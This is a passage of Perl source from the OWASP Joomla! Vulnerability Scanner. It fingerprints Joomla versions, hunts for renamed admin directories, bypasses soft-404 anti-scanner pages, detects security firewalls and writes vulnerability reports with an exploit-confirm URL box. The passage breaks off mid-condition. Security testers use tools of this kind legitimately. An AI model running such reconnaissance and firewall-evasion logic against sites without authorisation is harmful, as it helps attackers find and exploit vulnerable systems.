  707.             $version .= "~1.5.x admin en-GB.ini revealed [1.5.12 - 1.5.14]\n";
  708.             push @version_min_range, 12;push @version_max_range, 14;    
  709.         }        
  710.     }    
  711. }
  712.  
  713. sub fprint_admin_enGBcom_configini_15x
  714. {
  715.     lock($version); lock(@version_min_range);lock(@version_max_range);
  716.    
  717.     my $req = $ua->get("$url".$admin_dir."language/en-GB/en-GB.com_config.ini");
  718.     if ($req->status_line =~ /200/g)
  719.     {
  720.         my $htmlContent = $req->content;
  721.  
  722.         if ($htmlContent =~ m/version\s1.5.x\s2005\-10\-06\s14:45:45/gi)        
  723.         {
  724.             $version .= "~1.5.x admin en-GB.com_config.ini revealed 1.5.0-beta(12-Oct-2006)\n";
  725.             $exact_version_found = 1;$exact_version = '1.5.0-beta';
  726.         }    
  727.         elsif ($htmlContent =~ m/\s9765\s2007\-12\-30\s08:21:02Z\sircmaxell/gi)        
  728.         {
  729.             $version .= "~1.5.x admin en-GB.com_config.ini revealed [1.5.0(stable) -1.5.1]\n";
  730.             push @version_min_range, 0;push @version_max_range, 1;
  731.         }    
  732.         elsif ($htmlContent =~ m/10129\s2008\-03\-12\s10:45:50Z\sian/gi)
  733.         {
  734.             $version .= "~1.5.x admin en-GB.com_config.ini revealed [1.5.2 - 1.5.3]\n";
  735.             push @version_min_range, 2;push @version_max_range, 3;
  736.         }
  737.  
  738.         elsif ($htmlContent =~ m/10496\s2008\-07\-03\s07:08:39Z\sircmaxell/gi)
  739.         {
  740.             $version .= "~1.5.x admin en-GB.com_config.ini revealed [1.5.4 - 1.5.6]\n";
  741.             push @version_min_range, 4;push @version_max_range, 6;
  742.         }
  743.         elsif ($htmlContent =~ m/10882\s2008\-08\-31\s17:55:14Z\swillebil/gi)
  744.         {
  745.             $version .= "~1.5.x admin en-GB.com_config.ini revealed [1.5.7 - 1.5.8]\n";
  746.             push @version_min_range, 7;push @version_max_range, 8;
  747.         }
  748.         elsif ($htmlContent =~ m/11409\s2009\-01\-10\s02:27:08Z\swillebil\sian/gi)        
  749.         {
  750.             $version .= "~1.5.x admin en-GB.com_config.ini revealed 1.5.9\n";
  751.             $exact_version_found = 1;$exact_version = '1.5.9';
  752.         }
  753.         elsif ($htmlContent =~ m/11687\s2009\-03\-11\s17:49:23Z\sian/gi)        
  754.         {
  755.             $version .= "~1.5.x admin en-GB.com_config.ini revealed 1.5.10\n";
  756.             $exact_version_found = 1;$exact_version = '1.5.10';
  757.         }
  758.         elsif ($htmlContent =~ m/11784\s2009\-04\-24\s17:34:11Z\skdevine/gi)        
  759.         {
  760.             $version .= "~1.5.x admin en-GB.com_config.ini revealed 1.5.11\n";
  761.             $exact_version_found = 1;$exact_version = '1.5.11';
  762.         }
  763.         elsif ($htmlContent =~ m/12308\s2009\-06\-23\s04:05:28Z\sian/gi)        
  764.         {
  765.             $version .= "~1.5.x admin en-GB.com_config.ini revealed [1.5.12 - 1.5.14]\n";
  766.             push @version_min_range, 12;push @version_max_range, 14;                
  767.         }        
  768.     }    
  769. }
  770.  
  771. sub fprint_adminlists_html_15x
  772. {
  773.     lock($version); lock(@version_min_range);lock(@version_max_range);
  774.    
  775.     my $req = $ua->get("$url/libraries/joomla/template/tmpl/adminlists.html");
  776.     if ($req->status_line =~ /200/g)
  777.     {
  778.         my $htmlContent = $req->content;
  779.  
  780.         if ($htmlContent =~ m/5062\s2006\-09\-14\s22:43:19Z\seddiea/gi)        
  781.         {
  782.             $version .= "~1.5.x adminlists.html revealed 1.5.0-beta(12-Oct-2006)\n";
  783.             $exact_version_found = 1;$exact_version = '1.5.0-beta';
  784.         }    
  785.         elsif ($htmlContent =~ m/9765\s2007\-12\-30\s08:21:02Z\sircmaxell/gi)        
  786.         {
  787.             $version .= "~1.5.x adminlists.html revealed [1.5.0(stable) - 1.5.6]\n";
  788.             push @version_min_range, 0;push @version_max_range, 6;
  789.         }    
  790.         elsif ($htmlContent =~ m/10871\s2008\-08\-30\s07:30:33Z\swillebil/gi)
  791.         {
  792.             $version .= "~1.5.x adminlists.html revealed [1.5.7 - 1.5.14]\n";
  793.             push @version_min_range, 7;push @version_max_range, 14;
  794.         }
  795.     }    
  796. }
  797.  
  798. sub fprint_admin_enGB_com_media_15x
  799. {
  800.     lock($version); lock(@version_min_range);lock(@version_max_range);
  801.    
  802.     my $htmlContent = get_url_content("$url".$admin_dir."language/en-GB/en-GB.com_media.ini");
  803.  
  804.     if ($htmlContent =~ m/12540\s2009\-07\-22\s17:34:44Z\sian/i)        
  805.     {
  806.         $version .= "~1.5.x admin enGB com_media revealed [1.5.13 -1.5.14]\n";        
  807.         push @version_min_range, 13;push @version_max_range, 14;
  808.     }    
  809. }
  810.  
  811. ### [/Fingerprinting KB] ###
  812.  
  813. ######### [ROUTINES] #########
  814.  
  815. sub do_HEAD_request
  816. {
  817.     my $ua = LWP::UserAgent->new('requests_redirectable'=>['GET','POST']);
  818.     $ua->agent($uagent);
  819.     if(defined($proxy) && $proxy ne '')
  820.     {
  821.         if($proxy !~  /:\/\//){$proxy = 'http://'.$proxy;}
  822.         $ua->proxy(['http', 'ftp'],$proxy );                
  823.     }    
  824.     my $u = shift;    
  825.     my $resquest = HEAD "$u";  
  826.     my $response = $ua->request($resquest);
  827.     return $response->status_line;
  828. }
  829. sub check_if_exists
  830. {
  831.     my $u = shift;
  832.     ## $H200bypass is not '', we need to use GET and match
  833.     ## hash or text
  834.     my $c = get_url_content($u);
  835.     if($H200bypass ne "")
  836.     {
  837.         if ($H200bypass =~ /([0-9a-fA-F]{32})/)
  838.         {
  839.             if(md5hex($c) ne $H200bypass){return 1;}            
  840.         }
  841.         else
  842.         {
  843.             if($c !~ /$H200bypass/){return 1;}    
  844.         }
  845.     }
  846.     else
  847.     {
  848.         if(do_HEAD_request($u) =~ /(200|301|403)/){return 1;}    
  849.     }    
  850.     0;
  851. }
  852. sub do_GET_request
  853. {
  854.     my $ua = LWP::UserAgent->new('requests_redirectable'=>['GET','POST']);
  855.     $ua->agent($uagent);
  856.     if(defined($proxy) && $proxy ne '')
  857.     {
  858.         if($proxy !~  /:\/\//){$proxy = 'http://'.$proxy;}
  859.         $ua->proxy(['http', 'ftp'],$proxy );                
  860.     }    
  861.     my $u = shift;    
  862.     my $resquest = GET "$u";   
  863.     my $response = $ua->request($resquest);
  864.     my $htmlContent = '';    
  865.     if($response->status_line =~ /200/)
  866.     {
  867.         return $response->content;
  868.     }
  869.     else
  870.     {
  871.         return '';
  872.     }
  873.  
  874. }
  875.  
  876. sub get_xml_version
  877. {
  878.     my $htmlContent = shift;    
  879.     if ($htmlContent =~ /<version>(.*?)<\/version>/gi)
  880.     {
  881.           return $1;
  882.     }
  883.     else {
  884.         return '';
  885.     }
  886. }
  887. sub get_title
  888. {
  889.     my $htmlContent = shift;    
  890.     if ($htmlContent =~ /<title>(.*?)<\/title>/gi)
  891.     {
  892.           return $1;
  893.     }
  894.     else {
  895.         return '';
  896.     }
  897. }
  898. sub trim
  899. {
  900.     my $string = shift;
  901.     $string =~ s/^\s+//;
  902.     $string =~ s/\s+$//;
  903.     return $string;
  904. }
  905.  
  906. sub nl_to_br
  907. {
  908.     my $string = shift;
  909.     $string =~ s/\n/<br\/>/g;
  910.     return $string;
  911. }
  912. ## star* to strong
  913. sub st_to_str
  914. {
  915.     my $string = shift;
  916.     $string =~ s/\*\*/<strong>/g;
  917.     $string =~ s/\*/<\/strong>/g;
  918.     return $string;
  919. }
  920.  
  921. sub get_components_reported
  922. {
  923.       my $c = shift;
  924.       my @ar = ();
  925.       while($c =~ m{option=(.*?)(&amp;|&|")}ig)      
  926.      {
  927.         if (find_in_array($1,@ar) eq 0)
  928.         {
  929.            push @ar, $1;
  930.         }
  931.      }
  932.      while($c =~ m{\/component\/option,(.*?)\/}ig)      
  933.      {
  934.         if (find_in_array($1,@ar) eq 0)
  935.         {
  936.            push @ar, $1;
  937.         }
  938.      }
  939.      return @ar;      
  940. }
  941.  
  942. sub find_in_array
  943. {
  944.    my($what, @array) = @_;
  945.     foreach (0..$#array) {
  946.       if ($what eq $array[$_]) {
  947.         return 1;        
  948.       }
  949.     }
  950.     0;                    
  951. }
  952. sub find_in_arrayx
  953. {
  954.    my($what, @array) = @_;
  955.    my $what1 = $what.'+';
  956.    my $what2 = $what.'-';
  957.    
  958.    foreach (0..$#array) {
  959.      if ($what1 eq $array[$_]) {
  960.        return 1;        
  961.      }
  962.      elsif ($what2 eq $array[$_]) {
  963.         return 1;        
  964.      }
  965.    }
  966.    0;                    
  967. }
  968. sub array_max
  969. {
  970. # returned value is used in string
  971. # thus, it's safe to return string for undefined $array[0]
  972. # I can't fill up 999 as Brandon Enright suggested
  973. # bcoz this will falsely report the deduced version range
  974. # best return is "?", which makes people think the unretrievale version
  975.    my @array = @_;
  976.    if($#array eq -1){return '?';}
  977.    my $max = $array[0];    
  978.     foreach (0..$#array) {
  979.       if ($max < $array[$_]) {
  980.         $max = $array[$_];
  981.       }
  982.     }
  983.     return $max;
  984. }
  985.  
  986. sub array_min
  987. {
  988. # returned value is used in string
  989. # thus, it's safe to return string for undefined $array[0]
  990. # I can't fill up 0 as Brandon Enright suggested
  991. # bcoz this will falsely report the deduced version range
  992. # best return is "?", which makes people think the unretrievale version
  993.    my @array = @_;
  994.    if($#array eq -1){return '?';}    
  995.    my $min = $array[0];    
  996.     foreach (0..$#array)  {        
  997.       if ($min > $array[$_]) {        
  998.         $min = $array[$_];
  999.       }
  1000.     }    
  1001.     return $min;
  1002. }
  1003.  
  1004. sub get_url_content
  1005. {
  1006.    my $u = shift;    
  1007.    my $resquest = GET "$u";
  1008.    my $ua = LWP::UserAgent->new('requests_redirectable'=>['GET','POST']);
  1009.    $ua->agent($uagent);
  1010.    if(defined($proxy) && $proxy ne '')
  1011.    {
  1012.        if($proxy !~  /:\/\//){$proxy = 'http://'.$proxy;}
  1013.        $ua->proxy(['http', 'ftp'],$proxy );                
  1014.    }    
  1015.    my $response = $ua->request($resquest);    
  1016.    if($response->status_line =~ /200/ && $response->header("Content-Type") =~ /(php|html|javascript|css|xml)/)
  1017.    {
  1018.        return $response->content;        
  1019.    }
  1020.    else
  1021.    {
  1022.        return '';
  1023.    }    
  1024. }
  1025. sub get_url_any_content
  1026. {
  1027.    my $u = shift;    
  1028.    my $resquest = GET "$u";
  1029.    my $ua = LWP::UserAgent->new('requests_redirectable'=>['GET','POST']);
  1030.    $ua->agent($uagent);
  1031.    if($proxy ne '')
  1032.    {
  1033.        if($proxy !~  /:\/\//){$proxy = 'http://'.$proxy;}
  1034.        $ua->proxy(['http', 'ftp'],$proxy );                
  1035.    }    
  1036.    my $response = $ua->request($resquest);    
  1037.    if($response->status_line =~ /200/)
  1038.    {
  1039.        return $response->content;        
  1040.    }
  1041.    else
  1042.    {
  1043.        return '';
  1044.    }    
  1045. }
  1046.  
  1047.  
  1048. sub htime{  
  1049.  my $t= shift;
  1050.  if($t eq 3600) {return '1 hr';}
  1051.  elsif($t > 3600){
  1052.    my $x = $t/3600;
  1053.    my @hm = split(/\./, $x);
  1054.     my $h = $hm[0];
  1055.    my $mi = '0 min and 0 sec';
  1056.    $mi = htime($t%3600);    
  1057.    return $h." hr and $mi";    
  1058.  }
  1059.  elsif($t > 60) {
  1060.    my $m = ($t/60);
  1061.    my @rm = (split/\./, $m);
  1062.    my $rs = ($t%60);
  1063.    return  $rm[0]." min and $rs sec";
  1064.  }    
  1065.  elsif($t == 60){ return '1 min';}
  1066.  elsif($t < 60){return "$t sec";}
  1067. }
  1068. sub print_time_taken
  1069. {
  1070.   $end_time = time();
  1071.   my $time_taken = $end_time - $start_time;
  1072.   print "\n~[*] Time Taken: ".htime($time_taken)."\n";
  1073. }
  1074. sub bye
  1075. {
  1076.   print_time_taken();
  1077.   print "~[*] Send bugs, suggestions, contributions to ".reverse($JOOMSCAN{bug_report_email})."\n";
  1078.   print "\a";
  1079.   exit();        
  1080. }
  1081. sub print_completed_by_percentage
  1082. {
  1083.    my ($total,$done) = @_;
  1084.    if ($done%15 == 0 || $done==$total)
  1085.    {
  1086.     use Math::BigFloat;
  1087.     my $complete = (100/$total)*$done;
  1088.        my $completed = Math::BigFloat->new("$complete");
  1089.     $completed->precision(-2);
  1090.     print "\n[!] $completed\% completed~\n\n";
  1091.    }
  1092. }
  1093.  
  1094. sub get_admin_dir
  1095. {  
  1096.  
  1097.    if(check_if_exists("$url/administrator/") eq 1 )
  1098.    {
  1099.        return '/administrator/';
  1100.    }
  1101.    else
  1102.    {
  1103.        if (check_if_exists("$url/admin/") eq 1 ){return '/admin/';}        
  1104.        if (check_if_exists("$url/administration/") eq 1 ){return '/administration/';}        
  1105.        if (check_if_exists("$url/manage/") eq 1 ){return '/manage/';}
  1106.        
  1107.        if (check_if_exists("$url/joomla/administrator/") eq 1 ){return '/joomla/administrator/';}        
  1108.        if (check_if_exists("$url/joomla/admin/") eq 1 ){return '/joomla/admin/';}        
  1109.        if (check_if_exists("$url/joomla/administration/") eq 1 ){return '/joomla/administration/';}        
  1110.        if (check_if_exists("$url/joomla/manage/") eq 1 ){return '/joomla/manage/';}
  1111.        
  1112.        else{return '/admin_dir_was_renamed/';}
  1113.    }  
  1114. }
  1115.  
  1116. sub print_owasp_logo{
  1117.    
  1118. print qq {
  1119.  
  1120. ..|''||   '|| '||'  '|'     |      .|'''.|  '||''|.  
  1121. .|'    ||   '|. '|.  .'     |||     ||..  '   ||   ||
  1122. ||      ||   ||  ||  |     |  ||     ''|||.   ||...|'
  1123. '|.     ||    ||| |||     .''''|.  .     '||  ||      
  1124. ''|...|'      |   |     .|.  .||. |'....|'  .||.    
  1125.    
  1126. };
  1127.  
  1128. }
  1129.  
  1130. sub md5hex
  1131. {
  1132.    my $str = shift;    
  1133.    return Digest::MD5->new->add(encode_utf8($str))->hexdigest;
  1134. }
  1135. sub gimme5
  1136. {
  1137.    my $str = shift;
  1138.    return substr($str,0,5);
  1139. }
  1140. sub is_sqlin
  1141. {
  1142.    my $str = shift;
  1143.    if ($str =~ /\x1e+[\w]+:+[\w]+\x1e+:+[\w\s]+\x1e/g || $str =~ /:([0-9a-fA-F]{32})/gi
  1144.        || $str =~ m/You\shave\san\serror\sin\syour\sSQL\ssyntax/gi
  1145.        || $str =~ m/supplied\sargument\sis\snot\sa\svalid\sMySQL\sresult\sresource/gi
  1146.        || $str =~ m/Invalid\sargument\ssupplied\s\for/gi)
  1147.    {
  1148.        return 1;
  1149.    }
  1150.    0;    
  1151. }
  1152. sub is_path_disclosed
  1153. {    
  1154.    my $str = shift;
  1155.    if ($str =~ /(Parse\serror:|Fatal\serror:)\s(.*?)on\sline/gi)
  1156.    {
  1157.        return 1;
  1158.    }
  1159.    0;      
  1160. }
  1161. sub has_fake200s
  1162. {
  1163.    my $u = shift;
  1164.    my $fake_found = 0;
  1165.    my $fake_found_t = 0;
  1166.    my @r = ('cfcd2','c4ca4','c81e7','eccbc','a87ff','e4da3','167e0','8f14e','c9f0f','45c48');
  1167.    foreach my $i(@r)
  1168.    {
  1169.        if(do_HEAD_request($u."/$i/") =~ /200/)
  1170.        {
  1171.            $fake_found_t++;
  1172.        }
  1173.    }
  1174.    if($fake_found_t > 5)
  1175.    {
  1176.        $fake_found = 1;
  1177.    }    
  1178.    return $fake_found;
  1179. }
  1180. sub get_fake200s
  1181. {
  1182.    ## first we print hash
  1183.    ## second we grep title
  1184.    my $u = shift;
  1185.    my @r = ('c4ca4','c81e7','eccbc','a87ff','e4da3','167e0','8f14e','c9f0f','45c48');
  1186.    my @pg5 = ();
  1187.    my @ti = ();
  1188.    foreach my $i(@r)
  1189.    {
  1190.        my $con = get_url_content($u."/$i/");
  1191.        push @ti, get_title($con);
  1192.        push @pg5, md5hex($con);
  1193.    }
  1194.    my $pg_i = md5hex(get_url_content($u."/cfcd2/"));
  1195.    if( find_in_array($pg_i,@pg5) )
  1196.    {
  1197.        return $pg_i;
  1198.    }
  1199.    else
  1200.    {
  1201.        # let's try more
  1202.        my $pg_t = get_title(get_url_content($u."/cfcd2/"));
  1203.        if( find_in_array($pg_t,@pg5) )
  1204.        {
  1205.            return $pg_t;
  1206.        }        
  1207.    }
  1208.    0;
  1209. }
  1210. sub get_hostn
  1211. {
  1212.    my $u = shift;
  1213.    $u =~ s/http:\/\///;
  1214.    $u =~ s/https:\/\///;
  1215.    if(index($u,'/') < 0)
  1216.    {
  1217.        return $u;
  1218.    }
  1219.    else
  1220.    {
  1221.        return substr($u,0,index($u,'/'));
  1222.    }
  1223.    
  1224. }
  1225. # if equal, return 1, else return bigger version
  1226. # consider major,minor,revision,build
  1227. sub get_bigger_ver
  1228. {
  1229.    my ($a,$b) =@_;
  1230.    my $x = substr($a,0,3); # 2.5
  1231.    my $y = substr($b,0,3); # 2.6
  1232.    if($x > $y){return $a;} #
  1233.    elsif($x < $y){return $b;} # 2.6
  1234.    elsif($x == $y){my $i = substr($a,4,6);my $j = substr($b,4,6);if($i > $j){return $a;}elsif($i < $j){return $b;}else{return 1;}}
  1235.    else{return 0;}
  1236. }
  1237. sub pie_values
  1238. {
  1239.    my $r = "";
  1240.    if($J_XSS_HOLES > 0){$r .= "['XSS', $J_XSS_HOLES],";}
  1241.    if($J_SQLin_HOLES > 0){$r .= "['SQL Injection', $J_SQLin_HOLES],";}
  1242.    if($J_FI_HOLES > 0){$r .= "['File Inclusion', $J_FI_HOLES],";}
  1243.    if($J_INFO_HOLES > 0){$r .= "['Information Disclosure', $J_INFO_HOLES],";}
  1244.    if($J_DirTr_HOLES > 0){$r .= "['Directory Traversal', $J_DirTr_HOLES ],";}
  1245.    if($J_OTHER_HOLES > 0){$r .= "['Others', $J_OTHER_HOLES],";}        
  1246.    $r =~ s/,$//;
  1247.    return $r;
  1248. }
  1249. sub pie_colors
  1250. {
  1251.    my @c =  ('#CB0A0A',  '#FB4800', '#FF6B28','#FB9900','#923A2E','#CA6558');
  1252.    my $t = 0;my $r = "[";
  1253.    
  1254.    if($J_XSS_HOLES > 0){$t++;}   if($J_SQLin_HOLES > 0){$t++;}    if($J_FI_HOLES > 0){$t++;}    if($J_INFO_HOLES > 0){$t++;}    if($J_DirTr_HOLES > 0){$t++;}    if($J_OTHER_HOLES > 0){$t++;}
  1255.    for my $e(0..$#c)
  1256.    {
  1257.        if($e < $t) {  $r .= "'".$c[$e]."',"  }
  1258.    }
  1259.    $r =~ s/,$//; $r .= "];";
  1260.    return $r;
  1261. }
  1262. ######### [/ROUTINES] #########
  1263.  
  1264. $admin_dir = get_admin_dir($url);
  1265.  
  1266. print_owasp_logo();
  1267.  
  1268. print qq{
  1269. =================================================================
  1270. OWASP Joomla! Vulnerability Scanner v$JOOMSCAN{scanner_version}  
  1271. (c) $JOOMSCAN{author}
  1272. YGN Ethical Hacker Group, Myanmar, http://yehg.net/lab
  1273. Update by: Web-Center, http://web-center.si (2011)
  1274. =================================================================
  1275.  
  1276. };
  1277.  
  1278. $found = 0; ## refer to the number of vunerable stuffs found
  1279. $rfifound = 0;
  1280.  
  1281. print qq{
  1282. Vulnerability Entries: $dbentry
  1283. Last update: $lastupdate
  1284.  
  1285. Use "update" option to update the database
  1286. Use "check" option to check the scanner update
  1287. Use "download" option to download the scanner latest version package
  1288. Use svn co to update the scanner and the database
  1289. svn co https://joomscan.svn.sourceforge.net/svnroot/joomscan joomscan
  1290.  
  1291.  
  1292. Target: $url
  1293.  
  1294. };
  1295.  
  1296. ### 503/404 Check Fingerprinting ###
  1297. $target =$ua->get("$url");
  1298. if($target->status_line =~ /(40|50)/g)
  1299. {
  1300.    print '[x] Unable to process any more. I get - '. $target->status_line."\n\n";
  1301.    bye;
  1302. }
  1303. if ($target->content =~ /(Database\sError:\sUnable\sto\sconnect\sto\sthe\sdatabase|This\ssite\sis\stemporarily\sunavailable)/gi)
  1304. {
  1305.    print "### The site is probably in maintenance.###\n\n";
  1306.     sleep(3);
  1307. }
  1308.  
  1309. if (defined($target->header('Server')))
  1310. {
  1311.     print 'Server: '.$target->header('Server')."\n";
  1312.     $server_headers .= 'Server: '.$target->header('Server')."\n";
  1313. }
  1314. if (defined($target->header('X-Powered-By')))
  1315. {
  1316.     print 'X-Powered-By: '.$target->header('X-Powered-By')."\n";
  1317.     $server_headers .= 'X-Powered-By: '.$target->header('X-Powered-By')."\n";
  1318. }
  1319.  
  1320. if(($args{o}) && $args{o} eq 'h')
  1321.  {
  1322.      open(EX,">$outfile") || die "Cannot open $urlfile $!";      
  1323.      print EX "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"    \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\"><html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\" dir=\"ltr\">\n<head>\n<title>".get_hostn($url)." ($today) | OWASP Joomla! Vulnerability Scanner Result\</title>\n<meta name=\"Generator\" value=\"OWASP Joomla! Vulnerability Scanner\"/>\n<script type=\"text/javascript\" src=\"assets/js/jquery-1.3.2.min.js\"></script>\n<script type=\"text/javascript\" src=\"assets/js/jquery.enumerable.js\"></script>\n<script type=\"text/javascript\" src=\"assets/js/jscharts.js\"></script>\n<link rel=\"stylesheet\" href=\"assets/css/style1.css\" type=\"text/css\"  charset=\"utf-8\" />\n<script>\$(document).ready(function () {area = \$('#vuln_pie'),area.after('<div style=\"font-size:0.9em;margin-left:3.5%;\">'+\$(\"#vuln_point_total\").html()+'<br/><\/div>'); });</script>\n</head>\n<body style='padding:1% 3% 3% 3%;'>\n<h2>\n<span style=\"cursor: pointer;\" onclick='window.open(\"http://owasp.org\");return false;'><img src=\"assets/img/owasp-joomla.png\" width=\"170\" height=\"125\" alt=\"OWASP Joomla! Vulnerability Scanner\"></span>\n<span style=\"text-align: center;position:relative;top:-20;font-family:'times news roman'!important;\">OWASP Joomla! Vulnerability Scanner<!-- v$JOOMSCAN{scanner_version} (Database Update: $lastupdate)--></span></h2>\n<div style=\"font-size:0.8em; background-color:#D9EDF7;border: 1px solid rgb(204, 204, 204);padding:0% 2% 2% 2%;-moz-border-radius: 1% 1% 1% 1%;\">\n<h2>$url</h2>".nl_to_br($server_headers)."<br/>Date: $now<br/></div><span style=\"float:right;\"><input  type=\"button\" onclick='if(document.getElementById(\"cxp\").style.display==\"none\"){document.getElementById(\"cxp\").style.display=\"\";}else{document.getElementById(\"cxp\").style.display=\"none\"}' value=\"Open URL Box\" /><br clear=\"all\" /><a href=\"javascript:void(0)\" onclick=\"this.style.display='none';\$('input').css('display','none')\" style=\"font-size:12px;position:absolute;left:91%;top:3%;\">Printable View</a></span><br clear=\"all\"/>
  1324. <br/>\n<fieldset id=\"cxp\" style=\"display:none\"><legend>Exploit [<a href='javascript:void(0)' onclick='if(document.getElementById(\"url-form\").style.display==\"none\"){document.getElementById(\"url-form\").style.display=\"\";}else{document.getElementById(\"url-form\").style.display=\"none\"}'>toggle</a>]&nbsp; [<a href=\"javascript:void(0)\" onclick=\"document.getElementById('cxp').style.display='none'\">close</a>]</legend><span id='url-form'>URL: [<a href='http://yehg.net/encoding' target='_blank'>PCE</a>]<br/> <textarea style='' id='url' rows='5' cols='80' type='text'>$url</textarea><br/><input type='button' value='               Confirm Xploit               ' onclick='window.open(document.getElementById(\"url\").value)'/> <input type='button' value='               Clear               ' onclick='document.getElementById(\"url\").value=\"\"'/><br/></span></fieldset><span class=\"ti\">Vulnerability Summary</span><br/><br/><br/><span id='vuln_graph'></span><br/><br/><span id='vuln_pie'></span><br/><br/><br/>\n<span  class=\"ti\">Reconnaissance Result </span><br/><br/><br/><div style=\"margin-left:3%\">";
  1325.  }
  1326.  elsif(($args{o}) && $args{o} eq 't')
  1327.  {
  1328.      open(EX,">$outfile");
  1329.      print EX "
  1330.  
  1331. ..|''||   '|| '||'  '|'     |      .|'''.|  '||''|.  
  1332. .|'    ||   '|. '|.  .'     |||     ||..  '   ||   ||
  1333. ||      ||   ||  ||  |     |  ||     ''|||.   ||...|'
  1334. '|.     ||    ||| |||     .''''|.  .     '||  ||      
  1335. ''|...|'      |   |     .|.  .||. |'....|'  .||.    
  1336.    
  1337. ";
  1338.      print EX "\nOWASP Joomla! Vulnerability Scanner v$JOOMSCAN{scanner_version} Results\nDate: $now\n\nTarget : $url\n\n$server_headers\n\n";
  1339.  }
  1340.  
  1341. if ($admin_dir =~ /renamed/gi)
  1342. {
  1343.     print "\n\n## NOTE: The Administrator URL was renamed. Bruteforce it. ##\n## None of /administrator, /admin, /manage ##\n";
  1344. }
  1345.  
  1346. ## [Essential Check] ###
  1347.    print qq{
  1348.  
  1349. ## Checking if the target has deployed an Anti-Scanner measure
  1350. };
  1351. if(has_fake200s($url) eq 1)
  1352. {
  1353.     print qq{
  1354. ## WARNING ##
  1355.  
  1356. [!] The target responds with 200 for every 404 request
  1357. [!] Activating anti-200 Bypass ...  Please wait.
  1358. };
  1359.   $H200bypass = get_fake200s($url);
  1360.   if($H200bypass eq 0)
  1361.   {
  1362.     print "\a\a"; # Attention please!
  1363.     print qq{
  1364.  
  1365. [!] Damn, unable to bypass! The target emits random strings.
  1366. [!] I need your help.
  1367.  
  1368. [!] Enter strings in common or valid regular expression
  1369.     when you see after requesting the two urls:
  1370.     $url/a_sdf and $url/hj_kl
  1371.     e.g Page Not Found, \\d{10,15}
  1372.    
  1373.  >> };
  1374.     my $tmpuinput = <STDIN> ;
  1375.     chomp($tmpuinput);
  1376.     while($tmpuinput eq "")
  1377.     {
  1378.         print qq{
  1379. [!] Enter strings in common or valid regular expression
  1380.     when you see afer requesting the two urls:
  1381.     $url/a_sdf and $url/hj_kl
  1382.     e.g Page Not Found, \\d{10,15}
  1383.    
  1384.  >> };
  1385.     chomp($tmpuinput = <STDIN>);
  1386.    
  1387.     }
  1388.     my $a404c = get_url_content("$url/akdjflaksdjfaslkfjas");
  1389.    
  1390.    
  1391.     ## must validate user input , must work
  1392.     my $v_200 = 0;
  1393.     my $r_syn = 0;
  1394.     while ($v_200 eq 0)
  1395.     {
  1396.         eval {
  1397.             if( $a404c  =~ m{$tmpuinput} ) {  }
  1398.             };
  1399.         $r_syn = 1 unless $@;
  1400.        
  1401.         if($r_syn eq 1)
  1402.         {
  1403.             if( $a404c  =~ m{$tmpuinput} ) { $v_200 = 1;  }            
  1404.         }
  1405.        
  1406.         unless($v_200 eq 1)
  1407.         {
  1408.         print qq{
  1409. [!] [ERROR] Your strings do not work or are not found in page!
  1410. };
  1411.         $tmpuinput = '';
  1412.         while($tmpuinput eq "")
  1413.         {
  1414.             print qq{
  1415.  >> };
  1416.             $tmpuinput = <STDIN>;
  1417.             chomp($tmpuinput);    
  1418.             }        
  1419.         }        
  1420.     }
  1421.  
  1422.     $H200bypass = $tmpuinput;
  1423.     print qq{
  1424. [!] OK. Your strings work. Thanks!
  1425. };
  1426.     undef $tmpuinput;
  1427.  
  1428.   }
  1429.   else
  1430.   {
  1431.     print qq{
  1432. [!] OK, got a unique hash - $H200bypass
  1433. };
  1434.   }
  1435.   ## Here we've got the value $H200bypass
  1436.   ## we'll use it to check actual 404
  1437.    
  1438. }
  1439.  
  1440. else
  1441. {
  1442.     print "\n[!] Scanning Passed ..... OK \n";
  1443. }
  1444. ## [/Essential Check] ###
  1445.  
  1446. ### [Joomla! Firewall Detection] ###
  1447. my $firewall_found = '';
  1448.  
  1449. if( (!defined($args{n})) or (defined($args{n}) && $args{n} !~ /f/g) )
  1450. {
  1451.    print qq{
  1452.  
  1453. ## Detecting Joomla! based Firewall ...
  1454. };
  1455.  
  1456.     if(check_if_exists($url.$admin_dir."/components/com_rsfirewall/") eq 1 or
  1457.        check_if_exists($url."/components/com_rsfirewall/") eq 1 or
  1458.        check_if_exists($url.$admin_dir."/components/com_firewall/") eq 1 or
  1459.        check_if_exists($url."/components/com_firewall/") eq 1  )
  1460.     {
  1461.         $firewall_found .= qq{  
  1462. [!] A Joomla! RS-Firewall (com_rsfirewall/com_firewall) is detected.
  1463. [!] The vulnerability probing may be logged and protected.
  1464. };
  1465.     }
  1466.  
  1467.     if(check_if_exists($url.$admin_dir."/components/com_jfw/") eq 1 or
  1468.        check_if_exists($url."/components/com_jfw/") eq 1 or
  1469.        check_if_exists($url.$admin_dir."/components/com_jfirewall/") eq 1 or
  1470.        check_if_exists($url."/components/com_jfirewall/") eq 1
  1471.        
  1472.        )
  1473.     {
  1474.         $firewall_found .= qq{  
  1475. [!] A Joomla! J-Firewall (com_jfw) is detected.
  1476. [!] The vulnerability probing may be logged and protected.
  1477. };
  1478.     }
  1479.    
  1480.     if(check_if_exists($url.$admin_dir."/modules/mod_securelive/") eq 1 or
  1481.        check_if_exists($url."/modules/mod_securelive/") eq 1 or
  1482.        check_if_exists($url.$admin_dir."/components/com_securelive/") eq 1 or
  1483.        check_if_exists($url."/components/com_securelive/") eq 1
  1484.        )
  1485.     {
  1486.         $firewall_found .= qq{  
  1487. [!] A SecureLive Joomla!(mod_securelive/com_securelive) firewall is detected.
  1488. [!] The vulnerability probing may be logged and protected.
  1489. };
  1490.     }
  1491.  
  1492.     if(check_if_exists($url.$admin_dir."/media/ninjasecurity") eq 1 or
  1493.        check_if_exists($url."/plugins/system/ninjasecurity") eq 1 or
  1494.        check_if_exists($url."/plugins/system/ninjasecurity.php") eq 1
  1495.        )
  1496.     {
  1497.         $firewall_found .= qq{  
  1498. [!] A SecureLive Joomla! firewall is detected.
  1499. [!] The vulnerability probing may be logged and protected.
  1500. };
  1501.     }
  1502.    
  1503.    
  1504.     if(check_if_exists($url."/init.php") eq 1 or
  1505.        check_if_exists($url."/firewall.php") eq 1 or
  1506.        check_if_exists($url."/fsAdmin/") eq 1 or
  1507.        check_if_exists($url."/fsadmin/") eq 1 or
